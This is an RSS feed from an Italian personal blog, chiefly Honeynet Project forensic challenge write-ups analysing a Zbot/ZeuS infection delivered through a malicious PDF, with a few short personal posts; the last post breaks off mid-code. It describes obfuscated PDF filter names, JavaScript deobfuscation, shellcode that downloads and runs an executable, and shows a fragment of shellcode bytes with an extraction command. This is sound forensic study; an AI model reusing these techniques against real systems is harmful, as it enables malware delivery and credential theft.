<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Il non-blog di Mario Pascucci</title>
	<atom:link href="http://www.ismprofessional.net/pascucci/index.php/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.ismprofessional.net/pascucci</link>
	<description>Sto lavorando sodo per preparare il mio prossimo errore (B. Brecht)</description>
	<lastBuildDate>Thu, 19 Aug 2010 03:00:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Honeynet Project: Challenge 3/2010 (II parte)</title>
		<link>http://www.ismprofessional.net/pascucci/index.php/2010/08/honeynet-project-challenge-32010-ii-parte/</link>
		<comments>http://www.ismprofessional.net/pascucci/index.php/2010/08/honeynet-project-challenge-32010-ii-parte/#comments</comments>
		<pubDate>Thu, 19 Aug 2010 03:00:40 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Computer Forensics]]></category>
		<category><![CDATA[Giochi e sfide "numeriche"]]></category>
		<category><![CDATA[Information security]]></category>
		<category><![CDATA[Honeynet project]]></category>
		<category><![CDATA[memory forensic]]></category>
		<category><![CDATA[sfide]]></category>

		<guid isPermaLink="false">http://www.ismprofessional.net/pascucci/?p=1022</guid>
		<description><![CDATA[La prima parte è qui. La quinta domanda chiedeva se era possibile estrarre qualche file dal processo inizialmente responsabile per l&#8217;attacco. Dato che il processo sospettato era Acrobat Reader, tramite Volatility ne ho estratto l&#8217;immagine in memoria del processo, dopodiché ho provato ad usare foremost su di essa. Il risultato è interessante, anche perché due [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.ismprofessional.net/pascucci/index.php/2010/06/honeynet-project-challenge-32010-i-parte/">La prima parte è qui</a>.</p>
<p>La quinta domanda chiedeva se era possibile estrarre qualche file dal processo inizialmente responsabile per l&#8217;attacco. Dato che il processo sospettato era Acrobat Reader, tramite <a href="https://www.volatilesystems.com/default/volatility">Volatility</a> ne ho estratto l&#8217;immagine in memoria del processo, dopodiché ho provato ad usare <a href="http://foremost.sourceforge.net/">foremost</a> su di essa. Il risultato è interessante, anche perché due file PDF estratti dall&#8217;impronta in memoria del processo <strong>non vengono estratti</strong> se invece si esegue foremost sull&#8217;intera immagine della memoria. I due file interessanti sono rispettivamente di 60kbyte e di 600kbyte, ed il primo è cifrato.</p>
<p>Usando i <a href="http://blog.didierstevens.com/programs/pdf-tools/">PDF-tools</a> di <a href="http://blog.didierstevens.com/">Didier Stevens</a> si riesce ad analizzare la struttura dei file PDF, anche se tutti risultano corrotti in vari modi. </p>
<p>Quello cifrato non riserva particolari sorprese, mentre quello da 600kbyte ha una &#8220;azione automatica&#8221; eseguita all&#8217;apertura del documento, ossia l&#8217;esecuzione di un codice Javascript. Il codice Javascript è nascosto in un blocco con il tag di identificazione del tipo offuscato: <strong>/F#6c#61#74e#44e#63#6fde</strong> e <strong>/#41#53#43II#38#35#44#65#63#6fd#65</strong> che in realtà corrispondono a: <strong>/FlateDecode /ASCII85Decode</strong>. Usando l&#8217;utility <strong>pdf-parser.py</strong>, sempre nei PDF-tools, si riesce ad estrarre il blocco ed a mettere le mani in un consistente blocco (84kbyte) di codice Javascript pesantemente offuscato.</p>
<p>La sesta domanda chiede di individuare la tecnica usata per sferrare l&#8217;attacco. Questa è forse la risposta che ha richiesto più lavoro. L&#8217;attacco viene portato dal file PDF usando un tag di tipo <strong>/AA</strong>, che nel formato PDF sta per <em>Add Action</em>. In breve, è possibile associare un&#8217;azione alla visualizzazione di una determinata pagina. In questo caso l&#8217;azione è stata di mandare in esecuzione il blocco di codice Javascript. Per capire cosa abbia fatto il codice, occorre invertire l&#8217;offuscamento, ma le cose non sono così semplici. Il Javascript usato da Acrobat Reader è certamente standard, tanto da essere possibile eseguirlo in Firefox, ad esempio, ma quello che cambia drasticamente sono le funzioni disponibili all&#8217;interno dell&#8217;ambiente di esecuzione. In Acrobat, Javascript ha a disposizione tutte le funzioni necessarie per lavorare con i file PDF (e non solo quelli), funzioni che in Firefox, ad esempio, non esistono. Quindi eseguire il blocco di codice Javascript in Firefox, racchiudendolo tra i tag SCRIPT non produce alcun risultato utile. Esaminando un po&#8217; il codice &#8220;a vista&#8221; si riesce ad individuare una chiamata alla funzione Javascript <strong>eval( )</strong>. Riuscire a vedere il parametro (la stringa) passata ad eval spesso significa vedere il codice non offuscato. Installando <a href="https://addons.mozilla.org/en-US/firefox/addon/1843/">Firebug</a> in Firefox si riesce nell&#8217;intento. Basta piazzare un <em>breakpoint</em> subito prima della chiamata alla funzione eval e si ottiene il codice Javascript in chiaro. </p>
<p>Ebbene, il codice Javascript contiene ben tre differenti shellcode, da usare in funzione della versione di Acrobat Reader (7, 8 o 9). In tutti e tre i casi il risultato dell&#8217;esecuzione dello shellcode è che viene scaricato un file eseguibile ed avviato senza possibilità di intervento dell&#8217;utente. </p>
<p>La settima domanda chiede di individuare eventuali file sospetti caricati da un qualsiasi processo attivo nella macchina in esame, e se tale file possa essere messo in relazione con l&#8217;attacco iniziale. Anche qui Volatility fa la parte del leone, utilizzando anche un plugin sviluppato da <a href="http://mnin.blogspot.com/2009/07/new-and-updated-volatility-plug-ins.html">Michael Hale Ligh</a>. Nel processo relativo a WinLogon si trovano quattro file sospetti: <strong>\WINDOWS\system32\sdra64.exe</strong>, <strong>\WINDOWS\system32\lowsec\user.ds</strong>, <strong>\_AVIRA_2109</strong> e <strong>\WINDOWS\system32\lowsec\local.ds</strong>. Dalla successiva analisi si vedrà che tali file sono associati proprio al malware Zbot. Eseguendo il citato plugin di Volatility per estrarre codice iniettato in altri processi sul processo di WinLogon, si ottengono sei file, ma solo uno di loro contiene stringhe relative ai file sospetti trovati prima. Interessante è anche una lista di nomi di funzioni esportate da alcune DLL di sistema di Windows. Tali funzioni vengono utilizzate per iniettare codice in altri processi. Lo stesso file, passato a VirusTotal per l&#8217;analisi viene identificato come una variante di Zbot.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ismprofessional.net/pascucci/index.php/2010/08/honeynet-project-challenge-32010-ii-parte/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Non si può vincere sempre</title>
		<link>http://www.ismprofessional.net/pascucci/index.php/2010/07/non-si-puo-vincere-sempre/</link>
		<comments>http://www.ismprofessional.net/pascucci/index.php/2010/07/non-si-puo-vincere-sempre/#comments</comments>
		<pubDate>Tue, 27 Jul 2010 21:29:13 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Computer Forensics]]></category>
		<category><![CDATA[Giochi e sfide "numeriche"]]></category>
		<category><![CDATA[Information security]]></category>
		<category><![CDATA[Honeynet project]]></category>
		<category><![CDATA[sfide]]></category>
		<category><![CDATA[VoIP]]></category>

		<guid isPermaLink="false">http://www.ismprofessional.net/pascucci/?p=1019</guid>
		<description><![CDATA[Altrimenti non si capirebbe la differenza. Alla quarta sfida del progetto Honeynet, quella sul VoIP, ho totalizzato 60 punti su 63, classificandomi quarto. Mi rifarò nelle prossime sfide, potete contarci. Piuttosto, nessuno che voglia cimentarsi in una gara nella gara, confrontando i risultati al termine delle votazioni? Non lasciatemi solo a difendere la bandiera tricolore!]]></description>
			<content:encoded><![CDATA[<p>Altrimenti non si capirebbe la differenza.</p>
<p>Alla quarta sfida del progetto <a href="http://honeynet.org/challenges/2010_4_voip">Honeynet, quella sul VoIP</a>, ho totalizzato 60 punti su 63, classificandomi quarto. Mi rifarò nelle prossime sfide, potete contarci. Piuttosto, nessuno che voglia cimentarsi in una gara nella gara, confrontando i risultati al termine delle votazioni? </p>
<p>Non lasciatemi solo a difendere la bandiera tricolore!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ismprofessional.net/pascucci/index.php/2010/07/non-si-puo-vincere-sempre/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Honeynet Project: Challenge 3/2010 (I parte)</title>
		<link>http://www.ismprofessional.net/pascucci/index.php/2010/06/honeynet-project-challenge-32010-i-parte/</link>
		<comments>http://www.ismprofessional.net/pascucci/index.php/2010/06/honeynet-project-challenge-32010-i-parte/#comments</comments>
		<pubDate>Thu, 24 Jun 2010 03:00:09 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Computer Forensics]]></category>
		<category><![CDATA[Giochi e sfide "numeriche"]]></category>
		<category><![CDATA[Information security]]></category>
		<category><![CDATA[Honeynet project]]></category>
		<category><![CDATA[memory forensic]]></category>
		<category><![CDATA[sfide]]></category>

		<guid isPermaLink="false">http://www.ismprofessional.net/pascucci/?p=980</guid>
		<description><![CDATA[Ho da poco inviato la mia soluzione alla quarta sfida del progetto Honeynet, riguardante il VoIP. Nell&#8217;attesa dei risultati, previsti per la fine di luglio, vediamo la soluzione data alla terza sfida del progetto, che riguardava l&#8217;analisi di una immagine di memoria acquisita live su un computer presumibilmente colpito da una qualche forma di malware. [...]]]></description>
			<content:encoded><![CDATA[<p>Ho da poco inviato la mia soluzione alla <a href="http://www.honeynet.org/challenges/2010_4_voip">quarta sfida del progetto Honeynet</a>, riguardante il VoIP. Nell&#8217;attesa dei risultati, previsti per la fine di luglio, vediamo la soluzione data alla <a href="http://www.honeynet.org/challenges/2010_3_banking_troubles">terza sfida del progetto</a>, che riguardava l&#8217;analisi di una immagine di memoria acquisita live su un computer presumibilmente colpito da una qualche forma di malware.</p>
<h4>Problemi con l&#8217;home banking</h4>
<p>Nella <a href="http://www.honeynet.org/files/Mario_Pascucci_Forensic_Challenge_2010_-_Challenge_3_-_Submission.pdf">mia soluzione</a> ho premesso un riassunto generale di come si è svolta la sequenza di azioni dedotte dall&#8217;analisi. Non era richiesta, ma ho pensato che, data la complessità della sfida, fornire un quadro generale avrebbe aumentato la comprensione. </p>
<p>Il campione da esaminare è l&#8217;immagine della memoria, un file da 500mbyte.</p>
<p>Tutto inizia con un messaggio e-mail, contenente un allegato in PDF, che all&#8217;apertura in Acrobat Reader provoca l&#8217;esecuzione di un frammento di Javascript che, sfruttando una falla in Acrobat, riesce a scaricare ed a mandare in esecuzione un eseguibile, senza alcun intervento da parte dell&#8217;utente.<br />
L&#8217;eseguibile è una variante del malware <a href="http://www.google.it/search?q=zbot">Zbot</a>, un pezzo del kit di <em>crimeware</em> denominato <a href="http://www.google.it/search?q=zeus+crimeware">ZeuS</a>. Questo malware, fra le altre cose, posiziona alcune chiavi di registro relative al processo di WinLogon, assicurandosi l&#8217;avvio ad ogni partenza del sistema. Alla partenza sfrutta il meccanismo degli hooks per iniettare codice in tutti i processi di sistema ed utente di cui ha bisogno per fare il suo lavoro. </p>
<p>Andiamo con la prima domanda, che chiede di elencare i processi in esecuzione al momento dell&#8217;acquisizione della memoria del computer colpito e di indicare quale sia il processo responsabile della prima fase dell&#8217;attacco.<br />
Ricavare questo da una immagine di memoria non è proprio banale, per cui mi sono documentato ed ho trovato una raccolta di strumenti per l&#8217;analisi della memoria di Windows, denominata <a href="https://www.volatilesystems.com/default/volatility">Volatility</a>.<br />
Tramite questi strumenti, open source, è possibile ricavare parecchie informazioni senza andare di editor esadecimale e di certosina pazienza.<br />
Con la funzione di elenco processi di Volatility, appunto, in pochi secondi si ha la lista completa. Ora si tratta di individuare quello responsabile. Se tutto è nato da un PDF allegato ad un messaggio e-mail, è molto probabile che il colpevole sia Acrobat Reader (che ha PID 1752), ma per puntare il dito con più certezza occorre andare avanti con l&#8217;analisi. </p>
<p>La domanda successiva chiede di mostrare l&#8217;elenco dei socket aperti sul computer vittima, e di indicare se vi siano processi sospetti che abbiano socket aperti.<br />
Occorre incrociare i dati di tre liste, quella dei processi, quella dei socket aperti e quella delle connessioni di rete, in quanto le ultime due fanno riferimento al PID del processo che li gestisce, mentre la lista dei socket elenca anche su che protocollo e quale porta è attivo il socket, dato da incrociare con la connessione TCP o UDP che lo usa.<br />
In breve, saltano fuori tre connessioni sospette, due con un indirizzo IP di un hosting israeliano, una con un indirizzo IP di un hosting maltese.<br />
Vi sono anche altri socket sospetti, due dei quali fanno riferimento alle porte usate nel servizio UPnP di Windows (vedere l&#8217;articolo della <a href="http://support.microsoft.com/kb/832017/">knowledge base kb832017</a>).<br />
Vi sono dei riferimenti ad un indirizzo IP (192.168.0.1), che tornano ad una semplice ricerca di stringhe all&#8217;interno dell&#8217;immagine. Verosimilmente si tratta delle pagine di amministrazione web di un router/gateway per piccoli uffici. Sempre nell&#8217;immagine della memoria si trovano tracce di queste pagine web e di alcune transazioni SOAP volte ad aprire porte da Internet verso il computer in analisi.<br />
Potrebbe non essere significativo, ma potrebbe anche essere il segno di un tentativo di sfruttare <a href="http://www.gnucitizen.org/blog/hacking-the-interwebs/">una nota vulnerabilità del protocollo UPnP</a>, per cui non si possono trattare come innocue.<br />
In definitiva, abbiamo due processi con porte aperte o connessioni sospette: PID 880, una istanza di svchost.exe, ed il processo di Acrobat Reader, che pur essendo responsabile probabilmente solo della violazione iniziale, ha ancora due connessioni in piedi col server web che ha originato l&#8217;attacco. </p>
<p>La terza domanda chiede di elencare gli eventuali URL sospetti nella memoria del processo sotto indagine.<br />
Gli URL ci sono, cercandoli sia usando gli indirizzi IP trovati in precedenza, sia usando il nome &#8220;search-network-plus.com&#8221;, con cui è stato registrato l&#8217;indirizzo IP dell&#8217;hosting israeliano. Gli URL dell&#8217;hosting maltese fanno pensare ad un sito terzo, forse violato, su cui è stato inserito uno script PHP che provvede a reindirizzare il visitatore verso l&#8217;hosting israeliano, che provvede a fornire il file PDF forgiato.</p>
<p>La quarta domanda chiede se vi siano riferimenti riconducibili a problemi con l&#8217;home banking, quali siano i processi e gli URL.<br />
Un URL in particolare è molto interessante, quello che riporta il nome di un noto istituto bancario americano. L&#8217;URL è scritto usando alcuni caratteri a mo&#8217; di <em>wildcard</em>. Ebbene, questo schema è del tutto identico a quello usato nel malware Zbot per indicare in quali pagine web visitate è da iniettare il codice HTML per rubare le credenziali di accesso.<br />
In pratica, questo malware riesce a intercettare tutto il traffico con Internet e sulla base degli URL indicati riesce a modificare al volo il codice HTML ricevuto dal sito dell&#8217;istituto bancario. Queste modifiche sono volte a deviare le credenziali inserite dall&#8217;ignaro utente verso che controlla il malware. In breve, opera come in una operazione di phishing, ma il sito che viene visitato è quello della banca, e il furto di credenziali avviene nel computer dell&#8217;utilizzatore e vittima, non in un sito contraffatto. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.ismprofessional.net/pascucci/index.php/2010/06/honeynet-project-challenge-32010-i-parte/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La responsabilità di chi scrive</title>
		<link>http://www.ismprofessional.net/pascucci/index.php/2010/06/la-responsabilita-di-chi-scrive/</link>
		<comments>http://www.ismprofessional.net/pascucci/index.php/2010/06/la-responsabilita-di-chi-scrive/#comments</comments>
		<pubDate>Sun, 13 Jun 2010 13:18:05 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Pensieri sparsi]]></category>

		<guid isPermaLink="false">http://www.ismprofessional.net/pascucci/?p=968</guid>
		<description><![CDATA[Qualche giorno fa ho pubblicato un breve scritto, con l&#8217;intenzione di richiamare l&#8217;attenzione su un meccanismo nel modo in cui vengono fatte le leggi. Ebbene, a rileggerlo a distanza di qualche giorno, è evidente che non solo non ho raggiunto lo scopo, ma ho scritto alcune fesserie, anche gravi. Il fatto di tenere un blog [...]]]></description>
			<content:encoded><![CDATA[<p>Qualche giorno fa ho pubblicato <a href="http://www.ismprofessional.net/pascucci/index.php/2010/06/come-si-fanno-le-leggi-un-esempio/">un breve scritto</a>, con l&#8217;intenzione di richiamare l&#8217;attenzione su un meccanismo nel modo in cui vengono fatte le leggi. </p>
<p>Ebbene, a rileggerlo a distanza di qualche giorno, è evidente che non solo non ho raggiunto lo scopo, ma ho scritto alcune fesserie, anche gravi. </p>
<p>Il fatto di tenere un blog con pochi lettori non esime dalla responsabilità di verificare fonti e affermazioni, per nulla: se anche una sola persona, leggendo una mia fesseria, si convince che è vera, quella persona subisce un danno. </p>
<p>Quello che scriviamo, indipendentemente dall&#8217;argomento, non è neutro, manco per nulla. Chi legge, sia che abbia opinioni contrarie, che favorevoli, che neutre, viene influenzato, in positivo o negativo che sia, in una qualche misura. Il fatto che stiamo parlando di marmellata di albicocche o della effettiva efficacia dell&#8217;omeopatia non cambia la sostanza delle cose: una fesseria è una fesseria, punto e basta. </p>
<p>Dare la responsabilità al lettore, pretendendo di addosare a lui tutto il potere di interpretazione, è un trucco di bassa lega: &#8220;è il lettore che assegna il significato&#8221;, &#8220;quello che ho scritto è stato frainteso&#8221;, &#8220;lo spirito era un altro&#8221;, ecc. </p>
<p>Sono balle, pietosi tentativi di deresponsabilizzarsi, di dare la colpa ad un altro, come bambini che gridano &#8220;è stato lui, io non c&#8217;entro&#8221;. Il meccanismo, perverso, è spiegato, infinitamente meglio di quanto possa fare io, in <a href="http://loredanalipperini.blog.kataweb.it/lipperatura/2010/06/10/divertimenti/">un articolo di Loredana Lipperini</a>, a cui rimando, con l&#8217;invito a leggere anche i commenti, significativi almeno quanto l&#8217;articolo. Un grazie a lei ed ai suoi commentatori per la lucidità e l&#8217;onesta.</p>
<p>Ho scritto sull&#8217;onda emozionale, accantonando il raziocinio, ed il risultato è questo.</p>
<p>Quindi, mi scuso per le fesserie che ho scritto.</p>
<p><a href="http://www.ismprofessional.net/pascucci/index.php/2010/06/come-si-fanno-le-leggi-un-esempio/">L&#8217;articoletto rimane al suo posto</a>, con un avviso in cima, come monito per il futuro, soprattutto per me.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ismprofessional.net/pascucci/index.php/2010/06/la-responsabilita-di-chi-scrive/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>A proposito della c.d. &#8220;legge-bavaglio&#8221;&#8230;</title>
		<link>http://www.ismprofessional.net/pascucci/index.php/2010/06/a-proposito-della-c-d-legge-bavaglio/</link>
		<comments>http://www.ismprofessional.net/pascucci/index.php/2010/06/a-proposito-della-c-d-legge-bavaglio/#comments</comments>
		<pubDate>Fri, 11 Jun 2010 12:00:24 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Pensieri sparsi]]></category>

		<guid isPermaLink="false">http://www.ismprofessional.net/pascucci/?p=964</guid>
		<description><![CDATA[&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; [...]]]></description>
			<content:encoded><![CDATA[<p>&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ismprofessional.net/pascucci/index.php/2010/06/a-proposito-della-c-d-legge-bavaglio/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Honeynet Project: Challenge 2/2010 (III e ultima parte)</title>
		<link>http://www.ismprofessional.net/pascucci/index.php/2010/06/honeynet-project-challenge-22010-iii-e-ultima-parte/</link>
		<comments>http://www.ismprofessional.net/pascucci/index.php/2010/06/honeynet-project-challenge-22010-iii-e-ultima-parte/#comments</comments>
		<pubDate>Thu, 10 Jun 2010 03:00:38 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Computer Forensics]]></category>
		<category><![CDATA[Giochi e sfide "numeriche"]]></category>
		<category><![CDATA[Information security]]></category>
		<category><![CDATA[Honeynet project]]></category>
		<category><![CDATA[sfide]]></category>

		<guid isPermaLink="false">http://www.ismprofessional.net/pascucci/?p=936</guid>
		<description><![CDATA[Questa è la parte finale della soluzione. Le precedenti sono qui e qui. La nona domanda chiedeva quali azioni fossero eseguite dagli shellcode, di elencarli (insieme all&#8217;hash MD5 del binario) e di mostrare le differenze fra loro. Gli shellcode sono tutti contenuti nel pacchetto #496, all&#8217;interno del codice Javascript offuscato. L&#8217;unica differenza viene da un [...]]]></description>
			<content:encoded><![CDATA[<p>Questa è la parte finale della soluzione. Le precedenti sono <a href="http://www.ismprofessional.net/pascucci/index.php/2010/05/honeynet-project-challenge-22010-i-parte/">qui</a> e <a href="http://www.ismprofessional.net/pascucci/index.php/2010/05/honeynet-project-challenge-22010-ii-parte/">qui</a>.</p>
<p>La nona domanda chiedeva quali azioni fossero eseguite dagli <em>shellcode</em>, di elencarli (insieme all&#8217;hash MD5 del binario) e di mostrare le differenze fra loro.<br />
Gli <em>shellcode</em> sono tutti contenuti nel pacchetto #496, all&#8217;interno del codice Javascript offuscato. L&#8217;unica differenza viene da un URL codificato all&#8217;interno degli <em>shellcode</em> stessi, in cui varia il valore del solo parametro &#8220;e&#8221; di tipo <em>url-encoded</em>.<br />
Come estrarre gli shellcode è abbastanza semplice: ho usato un copia e incolla del blocco codificato in UTF in un comando shell per convertire il simbolo di percentuale in backslash, poi ho scritto tre-righe-tre di Python per trasformare il tutto in un file binario. Questo il comando shell:</p>
<pre><code>$ echo "&#37;uc033&#37;u8B64&#37;u3040...." | tr "&#37;" "\\"</code></pre>
<p>Questa invece la sequenza dei comandi Python:</p>
<pre><code>import io
